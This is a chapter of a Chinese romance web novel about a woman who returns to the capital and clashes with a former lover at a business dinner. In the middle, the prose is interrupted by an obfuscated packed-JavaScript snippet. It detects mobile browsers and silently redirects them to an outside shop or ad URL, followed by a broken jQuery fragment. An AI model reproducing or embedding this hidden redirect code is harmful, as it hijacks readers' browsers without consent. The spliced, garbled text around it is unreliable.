34. 味道

作品:《念青

    再次踏上帝都的土地,也是一个秋天。


    祝念慈裹紧了外衣,站在机场到达厅外,看着眼前这座熟悉又陌生的城市在雨幕中晕染开一片模糊的光影。


    车流如织,霓虹闪烁,一切似乎都没变,又似乎什么都变了。


    祝念慈一时有些恍惚。


    姜桐的车很快停在她面前。


    上车后,暖气驱散了部分寒意,但车厢内的氛围有些微妙。


    “直接回公寓?”姜桐问。


    看着窗外飞速倒退的街景,祝念慈轻轻应了一声。


    “嗯。”


    之前那套公寓祝念慈一直安排了钟点工定期打扫。


    姜桐用余光偷偷看她。


    三年时光似乎并未在她脸上留下太多痕迹,祝念慈依旧清艳,甚至因为消瘦,五官更加立体分明。


    但那种从骨子里透出来的疏离和冷淡,比离开时更甚。


    她不像一个在职场上说一不二的投资人,也不像一个被抑郁折磨的病人。


    像什么呢?


    像一件被精心修复却依旧带着细微裂痕的古瓷,美则美矣,触手生凉。


    “那个,”姜桐犹豫了一下,还是开口,“在瓷都……遇到裴以青了?”


    祝念慈的目光依旧落在窗外,雨滴在玻璃上划出蜿蜒的痕迹:“嗯。”


    姜桐心里咯噔一下,试图从她脸上找出点什么,却只看到任何外显的情绪。


    “那他……还是一个人吗?”


    “不清楚。”


    姜桐剩下的话都堵在了喉咙里。


    将人送回公寓后,姜桐心里五味杂陈。


    ……


    望着窗外雨夜的人不止祝念慈一个。


    裴以青站在公寓的落地窗前,指尖夹着的烟已经燃了半截,烟灰簌簌落下,男人却浑然不觉。


    周浩的消息又发了过来:


    【人我给你打听清楚了,住回老地方了。你真不去看看?】


    裴以青盯着那条消息,眸色深沉。


    在瓷都,祝念慈甚至一句话都没有对他说。


    他摁灭烟蒂,拿起手机,回复:


    【不用。】


    既然祝念慈选择回来,那他就不会再像三年前那样,只敢在门外徘徊。


    有些账,她不想也要算清楚。


    /


    祝念慈回帝都的消息,在特定的圈子里不胫而走。


    她并未刻意隐瞒,但也无意主动联系任何人。


    祝念慈开始着手处理一些资产,联系了以前的律师,打算彻底与过去做个了断。


    Jen特意来看过她,带着工作上的问候和一些不便在电话里沟通的决策。


    他能明显感觉到祝念慈的变化。


    祝念慈依然冷静而理智,对项目的手感并不生疏。但那种曾经那种对未来的热忱与野心,似乎已经熄灭了。


    她现在处理这些工作,更像是在完成一项项必要的任务。


    希望是错觉,Jen离开时这么想。


    回帝都一周后,祝念慈接到一个意外的电话。


    是之前一个合作多年,关系不错的品牌方创始人,邀请她参加一个小型的私人晚宴。


    她本想拒绝,但对方言辞恳切,又提及了一些行业内她错过的动向,似乎并非单纯叙旧。


    思索片刻,祝念慈还是答应了。


    再次出现在大众视野的第一场正式社交,祝念慈选了最不会出错的黑裙,妆容淡得几乎看不出,像是刻意要在衣香鬓影中将自己隐去。


    服务生推开厚重的木门,里面已坐了几位熟面孔,谈笑声在她进门的瞬间,有几不可察的停顿。


    她一一应对寒暄,客气而得体。


    一杯杯酒浸到胃里,祝念慈的社交应酬才算得空。


    肩膀突然被一阵微凉的穿堂风扫过,祝念慈身体不自禁缩了下,抬头看向再次敞开的门。


    是裴以青来了。


    男人气质比三年前更加沉稳内敛,那种久居上位的从容仿佛已刻入骨髓。他目光淡淡的扫过全场,最后径直走向主位。


    祝念慈不算惊讶,端起面前的水杯,缓缓喝了一口,压下喉间一丝莫名的干涩。


    宴席在看似融洽的氛围中开始。


    话题很快转向了当前最炙手可热的智能医疗。


    几位大佬各抒己见,气氛热烈。


    祝念慈大部分时间沉默着,只是李总主动将话题引向她,有时询问她对欧洲市场相关的政策看法时,她才开口。


    声音不高不低,久未应酬对她来说影响不大,依旧条理清晰,观点锐利。即便离开国内核心战场三年,祝念慈的视野和信息储备也并不脱节。


    她说完,席间有短暂的安静。


    这份安静让刀叉和餐盘碰撞发出的突兀碰撞声更加明显。


    祝念慈循声望过去。


    刀具和餐盘的两声磕碰清脆极了。


    裴以青拿起餐巾慢条斯理地擦了擦嘴角,目光才在今夜第一次,真正地落在祝念慈脸上。


    “祝总的分析很精彩,”他开口,声音低沉平稳,听不出情绪,“不过,我有点好奇——”


    他头微微一偏:“理论层面的推演固然重要,但真正落地,


    尤其是医疗这种高壁垒,长周期的领域,国内的审批环境和市场生态,祝总真的觉得没问题吗?”


    他身体前倾,脑袋搁在十指虚扣的手背上。


    “祝小姐离开三年,对国内这套游戏规则的变化,还有多少手感?毕竟光有远见可啃不下硬骨头。”


    这段话显然精心打磨过。


    祝念慈脱离国内环境已久,极大可能已经失去了实战能力和对本土市场微妙变化的敏锐度。


    裴以青在质疑她纸上谈兵。


    晚宴上更安静了,所有人都听出了男人话里的锋芒。


    但没有人有异声。


    祝念慈握着水杯的手指,收紧了一瞬,又缓缓松开。


    感觉到所有人的目光都聚焦在自己身上,带着探究、好奇,或许还有一丝看好戏的意味。


    她轻轻放下水杯,玻璃底座与桌面接触。


    “哒”,发出极轻的一声。


    “裴总的问题很犀利。”祝念慈牵唇一笑。


    “我离开帝都一段时间,确实需要重新适应节奏。不过,判断一个投资人的价值,或许不该仅仅以她是否一直身处某个特定地理坐标来衡量。”


    祝念慈微微停顿,目光扫过席间众人,最后重新落回裴以青脸上,不闪不避。


    “一个人的能力并不会因为地理位置的改变而轻易消失。”


    “是吗?”裴以青唇角勾起一抹极淡的的弧度,“资本市场,最是健忘了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064516|193782||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    如今归来,祝念慈一切需要从头证明,而市场未必会给她这个机会。


    胸腔里那股闷闷的感觉再次翻涌上来,裴以青话语里否定的意味像细密的针,扎得人生疼。


    她脸上依旧看不出波澜,只是眼神更冷了几分。


    最终还是她先错开了视线,结束了话题。


    额角开始隐隐作痛。


    祝念慈吃的很少,熟悉的精神压力带来的疲惫感,如潮水般袭来。


    裴以青一直盯着她,似乎想从她那双过于平静眼睛里,找出哪怕一丝一毫的别的情绪,


    但不对话时,祝念慈连半分眼神都不分给他。


    \


    晚宴终于接近尾声。


    祝念慈随着人流走出餐厅。


    夜风带着深秋的凉意扑面而来,因为室内暖烘烘的暖气和高密度的社交导致的有些昏沉的头脑,连带着清醒了几分。


    祝念慈没带司机,穿的又少,这样吹下去怕是要感冒。


    “祝总,需要帮您叫车吗?”Jen低声询问。


    她刚要点头,一道低沉的声音从身侧传来:“我送她。”


    裴以青不知何时走到了她身边,他也没穿大衣,单一件西装,似乎感觉不到冷。


    他手里拿着车钥匙,目光落在祝念慈脸上,话却是对Jen说的。


    Jen一时有些为难,工作上作为祝念慈的心腹,他或多或少知道些老板和这位裴总的关系。


    旁边还有几位未散的宾客,目光似有似无地扫过这边。


    祝念慈不想在这种场合下与裴以青拉扯,徒增谈资。


    她沉默了几秒,对Jen微微颔首:“你先打车回去吧。”


    Jen识趣地离开。


    裴以青扫了眼祝念慈,招手把助理送来的大衣搭到她肩上。


    她一惊,动作带着颈肩缩了一下,侧头时脸颊擦过裴以青的纸背。


    首先闻到他衣服上的味道,祝念慈竟是一愣。


    于是脱口而出:“你换香水了?”


    男人的手握成拳,拇指摩挲着指关节,眼底情绪复杂的翻涌,盯着她,并不开口。


    祝念慈这才反应过来自己言语上的唐突:“不好意思。”


    她浑然不觉自己在越描越黑,缓缓解释,语气温吞,


    “我只是觉得,好像都快忘记你身上的味道了。”


    裴以青皱眉看她,似是不解,好一会才找回自己的声音。


    “怪谁?”


    语调和他的味道一样。


    辛辣的木质香。


    ……


    “走吧。”裴以青率先向停车场走去。


    祝念慈跟在他身后,保持着几步的距离。高跟鞋踩在冰冷的水泥地上,发出清晰的回响。


    看着他挺拔的背影,心里有点烦。


    停车场里光线昏暗,裴以青拉开了副驾驶的门。


    祝念慈犹豫了一下。


    裴以青看着她停下的动作,一手搭在车门上,侧头看她:“你真准备把我当司机?”


    祝念慈抿了抿唇,没再说什么,弯腰坐了进去。


    车内很干净,熟悉的环境唤醒了某些沉睡的记忆。


    裴以青绕到驾驶座上车,伸手调整了一下空调出风口的方向,让暖风不会直吹到她。


    祝念慈不自在地移开视线。